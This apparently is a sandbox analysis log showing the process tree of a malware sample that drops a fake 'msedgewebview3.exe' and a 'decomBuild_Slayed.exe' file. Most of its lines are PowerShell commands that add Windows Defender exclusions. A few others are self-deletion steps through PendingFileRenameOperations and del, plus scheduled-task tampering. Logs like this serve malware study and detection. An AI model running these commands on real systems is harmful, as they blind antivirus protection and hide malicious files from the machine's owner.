- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:5880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:2244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4308
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4976
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
    3⤵
    PID:5536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\J04Hidhm.bat""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:2444
- - C:\Windows\system32\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Session Manager /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\0" /f
    3⤵
    - Modifies registry key
    PID:4260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe\" -Force"
  2⤵
  PID:5864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\decomBuild_Slayed.exe"
  2⤵
  PID:5312

C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe
"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe"
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3548
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /query /fo CSV /nh
  2⤵
  PID:1256
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /delete /tn "msedgewebview3.exe_Fallback" /f
  2⤵
  PID:5812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3716

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
PID:3188

C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe
"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe"
1⤵
PID:4848
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /query /fo CSV /nh
  2⤵
  PID:3948
- C:\Windows\system32\schtasks.exe
  "schtasks.exe" /delete /tn "msedgewebview3.exe_Fallback" /f
  2⤵
  PID:4972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe'"
  2⤵
  PID:4364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:5244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:1576
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:3148
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:3388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4944
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:1156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5888
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:5856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:1356
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:1840
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:3316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:5212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3496
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4560
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:5244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4412
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:1864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:2212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:1868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:868
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:3728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:5580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1124
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:2512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4140
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:4296
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:5136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:5232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:1988
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:2912
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:5572
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
  PID:2396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath \"C:\Users\Admin\AppData\Local\EdgeWebView\msedgewebview3.exe\" -Force"
  2⤵
